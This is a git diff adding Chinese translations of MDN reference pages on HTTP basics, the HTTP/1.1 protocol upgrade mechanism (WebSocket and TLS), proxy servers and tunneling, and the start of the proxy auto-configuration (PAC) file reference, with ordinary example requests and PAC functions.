一些页面能够被保护起来,仅让特定的用户进行访问。基本的认证功能可以直接通过HTTP提供,使用{{HTTPHeader("Authenticate")}}相似的头部即可,或用HTTP Cookies来设置指定的会话。</li> + <li><em><a href="/zh-CN/docs/Web/HTTP/Proxy_servers_and_tunneling">代理和隧道</a></em><br> + 通常情况下,服务器和/或客户端是处于内网的,对外网隐藏真实 IP 地址。因此 HTTP 请求就要通过代理越过这个网络屏障。但并非所有的代理都是 HTTP 代理。例如,SOCKS协议的代理就运作在更底层,一些像 FTP 这样的协议也能够被它们处理。</li> + <li><em>会话 </em><br> + 使用HTTP Cookies允许你用一个服务端的状态发起请求,这就创建了会话。虽然基本的HTTP是无状态协议。这很有用,不仅是因为这能应用到像购物车这样的电商业务上,更是因为这使得任何网站都能轻松为用户定制展示内容了。</li> +</ul> + +<h2 id="HTTP_流">HTTP 流</h2> + +<p>当客户端想要和服务端进行信息交互时(服务端是指最终服务器,或者是一个中间代理),过程表现为下面几步:</p> + +<ol> + <li>打开一个TCP连接:TCP连接被用来发送一条或多条请求,以及接受响应消息。客户端可能打开一条新的连接,或重用一个已经存在的连接,或者也可能开几个新的TCP连接连向服务端。</li> + <li>发送一个HTTP报文:HTTP报文(在HTTP/2之前)是语义可读的。在HTTP/2中,这些简单的消息被封装在了帧中,这使得报文不能被直接读取,但是原理仍是相同的。 + <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr</code></pre> + </li> + <li>读取服务端返回的报文信息: + <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre> + </li> + <li>关闭连接或者为后续请求重用连接。</li> +</ol> + +<p>当HTTP流水线启动时,后续请求都可以不用等待第一个请求的成功响应就被发送。然而HTTP流水线已被证明很难在现有的网络中实现,因为现有网络中有很多老旧的软件与现代版本的软件共存。因此,HTTP流水线已被在有多请求下表现得更稳健的HTTP/2的帧所取代。</p> + +<h2 id="HTTP_报文">HTTP 报文</h2> + +<p>HTTP/1.1以及更早的HTTP协议报文都是语义可读的。在HTTP/2中,这些报文被嵌入到了一个新的二进制结构,帧。帧允许实现很多优化,比如报文头部的压缩和复用。即使只有原始HTTP报文的一部分以HTTP/2发送出来,每条报文的语义依旧不变,客户端会重组原始HTTP/1.1请求。因此用HTTP/1.1格式来理解HTTP/2报文仍旧有效。</p> + +<p>有两种HTTP报文的类型,请求与响应,每种都有其特定的格式。</p> + +<h3 id="请求">请求</h3> + +<p>HTTP请求的一个例子:</p> + +<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p> + +<p>请求由以下元素组成:</p> + +<ul> + <li>一个HTTP的<a href="/en-US/docs/Web/HTTP/Methods">method</a>,经常是由一个动词像{{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 或者一个名词像{{HTTPMethod("OPTIONS")}},{{HTTPMethod("HEAD")}}来定义客户端的动作行为。通常客户端的操作都是获取资源(GET方法)或者发送<a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a>表单值(POST方法),虽然在一些情况下也会有其他操作。</li> + <li>要获取的资源的路径,通常是上下文中就很明显的元素资源的URL,它没有{{glossary("protocol")}} (<code>http://</code>),{{glossary("domain")}}(<code>developer.mozilla.org</code>),或是TCP的{{glossary("port")}}(HTTP一般在80端口)。</li> + <li>HTTP协议版本号。</li> + <li>为服务端表达其他信息的可选头部<a href="/en-US/docs/Web/HTTP/Headers">headers</a>。</li> + <li>对于一些像POST这样的方法,报文的body就包含了发送的资源,这与响应报文的body类似。</li> +</ul> + +<h3 id="响应">响应</h3> + +<p>HTTP响应的一个例子:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p> + +<p>响应报文包含了下面的元素:</p> + +<ul> + <li>HTTP协议版本号。</li> + <li>一个状态码(<a href="/en-US/docs/Web/HTTP/Status">status code</a>),来告知对应请求执行成功或失败,以及失败的原因。</li> + <li>一个状态信息,这个信息是非权威的状态码描述信息,可以由服务端自行设定。</li> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">headers</a>,与请求头部类似。</li> + <li>可选项,比起请求报文,响应报文中更常见地包含获取的资源body。</li> +</ul> + +<h2 id="基于HTTP的APIs">基于HTTP的APIs</h2> + +<p><br> + 基于HTTP的最常用API是{{domxref("XMLHttpRequest")}} API,可用于在{{Glossary("user agent")}}和服务器之间交换数据。 现代{{domxref("Fetch API")}}提供相同的功能,具有更强大和灵活的功能集。<br> + <br> + 另一种API,即服务器发送的事件,是一种单向服务,允许服务器使用HTTP作为传输机制向客户端发送事件。 使用{{domxref("EventSource")}}接口,客户端打开连接并建立事件句柄。 客户端浏览器自动将到达HTTP流的消息转换为适当的{{domxref("Event")}}对象,并将它们传递给专门处理这类{{domxref("Event.type", "type")}}事件的句柄,如果有这么个句柄的话。但如果相应的事件处理句柄根本没有建立,那就交给{{domxref("EventSource.onmessage", "onmessage")}}事件处理程序处理。</p> + +<h2 id="总结">总结</h2> + +<p>HTTP是一种简单可扩展的协议,其Client-Server的结构以及轻松扩展头部信息的能力使得HTTP可以和Web共同发展。</p> + +<p>即使HTTP/2为了提高性能将HTTP报文嵌入到帧中这一举措增加了复杂度,但是从Web应用的角度看,报文的基本结构没有变化,从HTTP/1.0发布起就是这样的结构。会话流依旧简单,通过一个简单的 <a href="/en-US/docs/Tools/Network_Monitor">HTTP message monitor</a>就可以查看和纠错。</p> diff --git a/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html b/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html new file mode 100644 index 0000000000..530c8ea6ae --- /dev/null +++ b/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html @@ -0,0 +1,222 @@ +--- +title: 协议升级机制 +slug: Web/HTTP/Protocol_upgrade_mechanism +translation_of: Web/HTTP/Protocol_upgrade_mechanism +--- +<p>{{HTTPSidebar}}</p> + +<p><a href="/en/HTTP" title="en/HTTP">HTTP协议</a> 提供了一种特殊的机制,这一机制允许将一个已建立的连接升级成新的、不相容的协议。这篇指南涵盖了其工作原理和使用场景。</p> + +<p>通常来说这一机制总是由客户端发起的 (不过也有例外,比如说可以由服务端发起{{anch("Server-initiated upgrade to TLS", "升级到传输层安全协议(TLS)")}}), 服务端可以选择是否要升级到新协议。借助这一技术,连接可以以常用的协议启动(如HTTP/1.1),随后再升级到HTTP2甚至是WebSockets.</p> + +<p>注意:HTTP/2 明确禁止使用此机制,这个机制只属于HTTP/1.1</p> + +<h2 id="升级HTTP1.1的链接">升级HTTP/1.1的链接</h2> + +<p>协议升级请求总是由客户端发起的;暂时没有服务端请求协议更改的机制。当客户端试图升级到一个新的协议时,可以先发送一个普通的请求({{HTTPMethod("GET")}},{{HTTPMethod("POST")}}等),不过这个请求需要进行特殊配置以包含升级请求。</p> + +<p>特别这个请求需要添加两项额外的header:</p> + +<dl> + <dt><code><a href="/en-US/docs/Web/HTTP/Headers/Connection">Connection: Upgrade</a></code></dt> + <dd>设置 <code>Connection</code> 头的值为 <code>"Upgrade"</code> 来指示这是一个升级请求.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Headers/Upgrade">Upgrade: <em>protocols</em></a></code></dt> + <dd><code>Upgrade</code> 头指定一项或多项协议名,按优先级排序,以逗号分隔。</dd> +</dl> + +<p>一个典型的包含升级请求的例子差不多是这样的:</p> + +<pre class="notranslate">GET /index.html HTTP/1.1 +Host: www.example.com +Connection: upgrade +Upgrade: example/1, foo/2</pre> + +<p>根据之前的请求的协议,可能需要其他头部信息,例如:从HTTP/1.1升级到<a href="/en-US/docs/Web/API/WebSocket">WebSocket</a> 允许配置有关 WebSocket 连接的头部详细信息,以及在连接时提供一定程度的安全性。查看 {{anch("Upgrading to a WebSocket connection")}} 获取更多信息。</p> + +<p>如果服务器决定升级这次连接,就会返回一个 {{HTTPStatus(101, "101 Switching Protocols")}} 响应状态码,和一个要切换到的协议的头部字段Upgrade。 如果服务器没有(或者不能)升级这次连接,它会忽略客户端发送的 <code>"Upgrade</code> 头部字段,返回一个常规的响应:例如一个{{HTTPStatus(200, "200 OK")}}).</p> + +<p>服务在发送 {{HTTPStatus(101)}} 状态码之后,就可以使用新的协议,并可以根据需要执行任何其他协议指定的握手。实际上,一旦这次升级完成了,连接就变成了双向管道。并且可以通过新协议完成启动升级的请求。</p> + +<p>由HTTP/1.1请求建立的连接可以升级为HTTP/2协议的连接,但是反过来不可以。事实上HTTP/2已经不再支持101状态码了,也不再支持任何连接升级机制。</p> + +<h2 id="升级机制的常用场合">升级机制的常用场合</h2> + +<p>此处将介绍最常用到 <code>Upgrade</code> header的场合。</p> + +<h3 id="升级到WebSocket协议的连接">升级到WebSocket协议的连接</h3> + +<p>至今为止最经常会需要升级一个HTTP连接的场合就是使用WebSocket。当你用 <a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a> 以及其他大部分实现WebSockets的库去建立WebSocket连接时,基本上都不用操心升级的过程,因为这些API已经实现了这一步。比如,用如下API打开一个WebSocket连接:</p> + +<pre class="notranslate">webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");</pre> + +<p>{{domxref("WebSocket.WebSocket", "WebSocket()")}} 构造函数已经自动完成了发送初始 HTTP/1.1 请求,处理握手及升级过程。</p> + +<p>你也可以用 <code>"wss://"</code> 地址格式来打开安全的WebSocket连接。</p> + +<p>如果想要自己重头实现WebSocket 连接,就必须要处理握手和升级过程。在创建初始HTTP/1.1会话之后你需要发送另一个HTTP标准请求,但在headers中要带上{{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}},也就是:</p> + +<pre class="notranslate">Connection: Upgrade +Upgrade: websocket</pre> + +<h3 id="WebSocket_专有的_headers">WebSocket 专有的 headers</h3> + +<p>一下headers是在WebSocket升级过程中会出现的。除了 {{HTTPHeader("Upgrade")}} 和 {{HTTPHeader("Connection")}} headers, 其他的一般浏览器和服务器都会在交互过程中处理好。</p> + +<h4 id="HTTPHeaderSec-WebSocket-Extensions">{{HTTPHeader("Sec-WebSocket-Extensions")}}</h4> + +<p>用于指定一个或多个请求服务器使用的协议级WebSocket扩展。允许在一个请求中使用多个Sec-WebSocket-Extension头,结果跟在一个头文件中包含了所有列出的扩展一样。</p> + +<pre class="notranslate">Sec-WebSocket-Extensions: <em>extensions</em></pre> + +<dl> + <dt><code>extensions</code></dt> + <dd>指需要(或支持)的扩展的逗号分隔列表。这些值来自<a href="https://www.iana.org/assignments/websocket/websocket.xml#extension-name">IANA WebSocket 扩展名注册表</a>。带参数的扩展使用分号表示。</dd> +</dl> + +<p>例如:</p> + +<pre class="notranslate">Sec-WebSocket-Extensions: superspeed, colormode; depth=16</pre> + +<h4 id="HTTPHeaderSec-WebSocket-Key">{{HTTPHeader("Sec-WebSocket-Key")}}</h4> + +<p>Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this <em>does not provide security</em>. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."</p> + +<p>This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.</p> + +<pre class="notranslate">Sec-WebSocket-Key: <em>key</em></pre> + +<dl> + <dt><code>key</code></dt> + <dd>The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you.</dd> +</dl> + +<p>The server's response's <code>Sec-WebSocket-Accept</code> header will have a value computed based upon the specified <code>key</code>.</p> + +<h4 id="HTTPHeaderSec-WebSocket-Protocol">{{HTTPHeader("Sec-WebSocket-Protocol")}}</h4> + +<p>The <code>Sec-WebSocket-Protocol</code> header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a <code>Sec-WebSocket-Protocol</code> header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.</p> + +<pre class="notranslate">Sec-WebSocket-Protocol: <em>subprotocols</em></pre> + +<dl> + <dt><code>subprotocols</code></dt> + <dd>A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name">IANA WebSocket Subprotocol Name Registry</a> or may be a custom name jointly understood by the client and the server.</dd> +</dl> + +<h4 id="HTTPHeaderSec-WebSocket-Version">{{HTTPHeader("Sec-WebSocket-Version")}}</h4> + +<h5 id="Request_header">Request header</h5> + +<p>Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.</p> + +<pre class="notranslate">Sec-WebSocket-Version: <em>version</em></pre> + +<dl> + <dt><code>version</code></dt> + <dd>The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the <a href="https://www.iana.org/assignments/websocket/websocket.xml#version-number">IANA WebSocket Version Number Registry</a>. The most recent final version of the WebSocket protocol is version 13.</dd> +</dl> + +<h5 id="Response_header">Response header</h5> + +<p>If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a <code>Sec-WebSocket-Version</code> header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no <code>Sec-WebSocket-Version</code> header is included in the response.</p> + +<pre class="notranslate">Sec-WebSocket-Version: <em>supportedVersions</em></pre> + +<dl> + <dt><code>supportedVersions</code></dt> + <dd>A comma-delineated list of the WebSocket protocol versions supported by the server.</dd> +</dl> + +<h3 id="Response-only_headers">Response-only headers</h3> + +<p>The response from the server may include these.</p> + +<h4 id="HTTPHeaderSec-WebSocket-Accept">{{HTTPHeader("Sec-WebSocket-Accept")}}</h4> + +<p>Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers.</p> + +<pre class="notranslate">Sec-WebSocket-Accept: <em>hash</em></pre> + +<dl> + <dt><code>hash</code></dt> + <dd>If a <code>Sec-WebSocket-Key</code> header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> encoded to obtain the value of this property.</dd> +</dl> + +<h3 id="Client-initiated_upgrade_to_HTTP_over_TLS">Client-initiated upgrade to HTTP over TLS</h3> + +<p>You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http://" to "https://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers.</p> + +<p>Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token <code>"TLS/1.0"</code>. If the switch is made successfully, the original request (which included <code>Upgrade</code>) is completed as normal, but on the TLS connection.</p> + +<p>The request to TLS can be made either optionally or mandatorily.</p> + +<h4 id="Optional_upgrade">Optional upgrade</h4> + +<p>To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the <code>Upgrade</code> and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request:</p> + +<pre class="notranslate">GET http://destination.server.ext/secretpage.html HTTP/1.1 +Host: destination.server.ext +Upgrade: TLS/1.0 +Connection: Upgrade</pre> + +<p>If the server <em>does not</em> support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as:</p> + +<pre class="notranslate">HTTP/1.1 200 OK +Date: Thu, 17 Aug 2017 21:07:44 GMT +Server: Apache +Last-Modified: Thu, 17 Aug 2017 08:30:15 GMT +Content-Type: text/html; charset=utf-8 +Content-Length: 31374 + +<html> + ... +</html> +</pre> + +<p>If the server <em>does</em> support TLS upgrade and wishes to permit the upgrade, it responds with the <code>"101 Switching Protocols"</code> response code, like this:</p> + +<pre class="notranslate">HTTP/1.1 101 Switching Protocols +Upgrade: TLS/1.0, HTTP/1.1</pre> + +<p>Once the TLS handshake is complete, the original request will be responded to as normal.</p> + +<h4 id="Mandatory_upgrade">Mandatory upgrade</h4> + +<p>To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this:</p> + +<pre class="notranslate">OPTIONS * HTTP/1.1 +Host: destination.server.ext +Upgrade: TLS/1.0 +Connection: Upgrade</pre> + +<p>If the upgrade to TLS succeeds, the server will respond with <code>"101 Switching Protocols"</code> as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail.</p> + +<h3 id="Server-initiated_upgrade_to_TLS">Server-initiated upgrade to TLS</h3> + +<p>This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this:</p> + +<pre class="notranslate">HTTP/1.1 426 Upgrade Required +Upgrade: TLS/1.1, HTTP/1.1 +Connection: Upgrade + +<html> +... Human-readable HTML page describing why the upgrade is required + and what to do if this text is seen ... +</html></pre> + +<p>If the client receiving the <code>"426 Upgrade Required"</code> response is willing and able to upgrade to TLS, it should then start the same process covered above under {{anch("Client-initiated upgrade to TLS")}}.</p> + +<h2 id="References">References</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> + <li>Specifications and RFCs: + <ul> + <li>{{RFC(2616)}}</li> + <li>{{RFC(6455)}}</li> + <li>{{RFC(2817)}}</li> + <li>{{RFC(7540)}}</li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/index.html new file mode 100644 index 0000000000..e9318df06d --- /dev/null +++ b/files/zh-cn/web/http/proxy_servers_and_tunneling/index.html @@ -0,0 +1,102 @@ +--- +title: Proxy servers and tunneling +slug: Web/HTTP/Proxy_servers_and_tunneling +tags: + - HTTP + - HTTP Tunneling + - NeedsTranslation + - Proxies + - Proxy + - TopicStub + - 代理 + - 隧道 +translation_of: Web/HTTP/Proxy_servers_and_tunneling +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">当访问不同的网站时,代理服务器和HTTP管道帮助访问万维网 . 一个代理可以是用户的本地计算机,或者介于用户计算机和终端服务器之间的地方。本章节概述一些关于代理和相关配置选项的基础知识。</p> + +<p>有两种代理: <strong>正向代理</strong> (如:管道、网关) 和<strong>反向代理</strong> (用于控制和保证服务器的负载均衡、认证、加密和缓存)。</p> + +<h2 id="正向代理">正向代理</h2> + +<p>正向代理, 也可以叫“网关” 或者仅仅为一个或多个客户端提供代理服务的“代理”。在互联网上像这样的代理不计其数。 他们存储并转发网络服务(如DNS,网页)以减少和控制大家所使用的带宽。</p> + +<p>正向代理可以是匿名代理,并允许用户在浏览web或者使用其他服务时隐藏自己的IP。 <a href="https://www.torproject.org/">TOR</a> (洋葱路由), 匿名地在多个代理间路由因特网。</p> + +<h2 id="反向代理">反向代理</h2> + +<p>顾名思义,反向代理所做的事情与正向代理相反:正向代理代表客户端(或者发送请求的主机),而反向代理代表服务器。正向代理可以隐藏客户端的身份,而反向代理可以隐藏服务器的身份。反向代理的用处很多,例如:</p> + +<ul> + <li>负载均衡:在多个服务器之间分发负载,</li> + <li>缓存静态内容:缓存图片等静态内容,为服务器分担压力,</li> + <li>压缩:压缩和优化内容以加快传输的速度。</li> +</ul> + +<h2 id="通过代理转发客户端消息">通过代理转发客户端消息</h2> + +<p>代理可以将请求地址设置为自身的IP,这可以隐匿客户端的身份。然而,这也会导致原始请求的部分信息丢失。发起请求的客户端的IP地址可以用来调试、统计或者生成基于位置的内容。通常使用如下 HTTP 头来暴露这部分信息:</p> + +<p>标准头部:</p> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd> +</dl> + +<p>Or the de-facto standard versions:</p> + +<dl> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd> +</dl> + +<p>To provide information about the proxy itself (not about the client connecting to it), the <code>Via</code> header can be used.</p> + +<dl> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd> +</dl> + +<h2 id="HTTP_tunneling">HTTP tunneling</h2> + +<p>Tunneling transmits private network data and protocol information through public network by encapsulating the data. HTTP tunneling is using a protocol of higher level (HTTP) to transport a lower level protocol (TCP).</p> + +<p>The HTTP protocol specifies a request method called {{HTTPMethod("CONNECT")}}. It starts two-way communications with the requested resource and can be used to open a tunnel. This is how a client behind an HTTP proxy can access websites using SSL (i.e. HTTPS, port 443). Note, however, that not all proxy servers support the <code>CONNECT</code> method or limit it to port 443 only.</p> + +<p>See also the <a href="https://en.wikipedia.org/wiki/HTTP_tunnel">HTTP tunnel article on Wikipedia</a>.</p> + +<h2 id="Proxy_Auto-Configuration_PAC">Proxy Auto-Configuration (PAC)</h2> + +<p>A <a href="/en-US/docs/Mozilla/Projects/Necko/Proxy_Auto-Configuration_(PAC)_file">Proxy Auto-Configuration (PAC)</a> file is a <a href="/en-US/docs/Web/JavaScript">JavaScript</a> function that determines whether web browser requests (HTTP, HTTPS, and FTP) go directly to the destination or are forwarded to a web proxy server. The JavaScript function contained in the PAC file defines the function:</p> + +<p id="Saving_the_Auto-Config_File_Setting_the_MIME_Type">The auto-config file should be saved to a file with a <code>.pac</code> filename extension:</p> + +<pre class="syntaxbox notranslate">proxy.pac</pre> + +<p>And the MIME type set to:</p> + +<pre class="syntaxbox notranslate">application/x-ns-proxy-autoconfig</pre> + +<p>The file consists of a function called <code>FindProxyForURL</code>. The example below will work in an environment where the internal DNS server is set up so that it can only resolve internal host names, and the goal is to use a proxy only for hosts that aren't resolvable:</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + if (isResolvable(host)) + return "DIRECT"; + else + return "PROXY proxy.mydomain.com:8080"; +}</pre> + +<p>See <a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file">Proxy Auto-Configuration (PAC)</a> for more examples.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPMethod("CONNECT")}}</li> + <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Proxy server on Wikipedia</a></li> +</ul> diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html new file mode 100644 index 0000000000..e64b1758ff --- /dev/null +++ b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_(pac)_file/index.html @@ -0,0 +1,729 @@ +--- +title: 代理自动配置文件(PAC)文件 +slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>代理自动配置(PAC)</strong>文件是一个 JavaScript 脚本,其核心是一个 JavaScript 函数,用来决定网页浏览请求(HTTP、HTTPS,和 FTP)应当直连目标地址,还是被转发给一个网页代理服务器并通过代理连接。PAC 文件中的核心 JavaScript 函数通常是这样定义的:</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + // ... +}</pre> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">function FindProxyForURL(<var>url</var>, <var>host</var>)</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code><var>url</var></code></dt> + <dd>要访问的 URL。URL 中类似 <code>https://</code> 这样的的路径和查询组件已被去除。在 Chrome 浏览器(版本 52 至 73)中, 你可以通过设置 <code>PacHttpsUrlStrippingEnabled</code> 为 <code>false</code> 来禁止这种行为,或者以 <code>--unsafe-pac-url</code> 命令行参数启动(自 Chrome 74 起,仅命令行参数有效,且在 Chrome 75 及之后的版本中无法禁用这种行为;至于 Chrome 81,路径剥离对 HTTP URL 不适用,但有意改变这一行为以适应 HTTPS);在 Firefox 浏览器中,对应的选项是 <code>network.proxy.autoconfig_url.include_path</code>。</dd> + <dt><code><var>host</var></code></dt> + <dd>从 URL 中提取得到的主机名。这只是为了方便;它与 <code>://</code> 之后到第一个 <code>:</code> 或 <code>/</code> 之前的字符串相同。端口号不包括在此参数中,必要时可以自行从 URL 中提取。</dd> +</dl> + +<h2 id="描述">描述</h2> + +<p>返回一个描述了代理设置的字符串。字符串的格式按照返回值格式进行定义。</p> + +<h3 id="返回值格式">返回值格式</h3> + +<ul> + <li><code>FindProxyForURL()</code> 函数返回一个字符串</li> + <li>如果那个字符串为空,则不使用任何代理</li> + <li>字符串中可以包含如下任意数量的“代理配置块”(building blocks),用分号分隔:</li> +</ul> + +<dl> + <dt><code>DIRECT</code></dt> + <dd>直连,不经过任何代理</dd> + <dt><code>PROXY <em>host:port</em></code></dt> + <dd>HTTP 代理</dd> + <dt><code>SOCKS <em>host:port</em></code></dt> + <dd>SOCKS 代理</dd> +</dl> + +<p>最近版本的 Firefox 同时还支持:</p> + +<dl> + <dt><code>HTTP <em>host:port</em></code></dt> + <dd>HTTP 代理</dd> + <dt><code>HTTPS <em>host:port</em></code></dt> + <dd>HTTPS 代理</dd> + <dt><code>SOCKS4 <em>host:port</em></code></dt> + <dt><code>SOCKS5 <em>host:port</em></code></dt> + <dd>SOCKS 代理(同时指定 SOCKS 版本)</dd> +</dl> + +<p>如果有多个使用分号分隔的代理配置,将使用最左边的配置,除非 Firefox 无法与其中指定的代理服务器建立连接。在这种情况下,将使用下一个配置,等等。</p> + +<p>30分钟后,浏览器将自动重试之前没有响应的代理。下一次尝试则将在一小时后开始,再下一次是一个半小时。每次尝试后,间隔会增加 30 分钟。</p> + +<p>如果所有代理都挂了,并且最后没有指定直连配置项(<code>DIRECT</code>),浏览器将询问是否应该暂时忽略代理,并尝试直接连接。20 分钟后,浏览器会再次询问是否应该重试代理,40 分钟后会再问一次。每次询问后,间隔会增加 20 分钟。</p> + +<h4 id="例子">例子</h4> + +<dl> + <dt><code>PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081</code></dt> + <dd>主代理是 <code>w3proxy:8080</code>;如果它出现故障,则使用 <code>mozilla:8081</code>,直到主代理恢复。</dd> + <dt><code>PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081; DIRECT</code></dt> + <dd>和上面的基本一样,但如果两个代理都挂了,则自动改为直连。(在上面的例子中,Netscape 浏览器将询问用户是否要改用直接连接;在本例中,则不需要用户干预。)</dd> + <dt><code>PROXY w3proxy.netscape.com:8080; SOCKS socks:1080</code></dt> + <dd>如果主代理出现问题,则使用 SOCKS 连接。</dd> +</dl> + +<p id="Saving_the_Auto-Config_File_Setting_the_MIME_Type">自动配置文件应当被保存为一个以 .pac 作为文件拓展名的文件,比如:</p> + +<pre class="syntaxbox notranslate">proxy.pac</pre> + +<p>其 MIME 类型应被设置为:</p> + +<pre class="syntaxbox notranslate">application/x-ns-proxy-autoconfig</pre> + +<p>接下来,你应当配置你的服务器,让文件拓展名 .pac 映射到如上所示的 MIME 类型。</p> + +<div class="note"> +<p><strong>注意:</strong></p> + +<ul> + <li>PAC 文件的 JavaScript 代码应该总是单独保存到 .pac 文件中,而不是嵌入到 HTML 文件或是任何其他文件之中。</li> + <li>本文档末尾的示例都是完整的,使用时不需要增加任何其它代码,直接保存应用即可。(当然,你需要改成你自己的域名/子域)</li> +</ul> +</div> + +<h2 id="预定义的函数与环境">预定义的函数与环境</h2> + +<p>这些函数可以在 PAC 文件中使用:</p> + +<ul> + <li>基于主机名的判断函数 + <ul> + <li><code><a href="#isPlainHostName">isPlainHostName()</a></code></li> + <li><code><a href="#dnsDomainIs">dnsDomainIs()</a></code></li> + <li><code><a href="#localHostOrDomainIs">localHostOrDomainIs()</a></code></li> + <li><code><a href="#isResolvable">isResolvable()</a></code></li> + <li><code><a href="#isInNet">isInNet()</a></code></li> + </ul> + </li> + <li>和代理相关的功能函数 + <ul> + <li><code><a href="#dnsResolve">dnsResolve()</a></code></li> + <li><code><a href="#convert_addr">convert_addr()</a></code></li> + <li><code><a href="#myIpAddress">myIpAddress()</a></code></li> + <li><code><a href="#dnsDomainLevels">dnsDomainLevels()</a></code></li> + </ul> + </li> + <li>基于 URL 或主机名的判断函数 + <ul> + <li><code><a href="#shExpMatch(str, shexp)">shExpMatch()</a></code></li> + </ul> + </li> + <li>基于时间的判断函数 + <ul> + <li><code><a href="#weekdayRange">weekdayRange()</a></code></li> + <li><code><a href="#dateRange">dateRange()</a></code></li> + <li><code><a 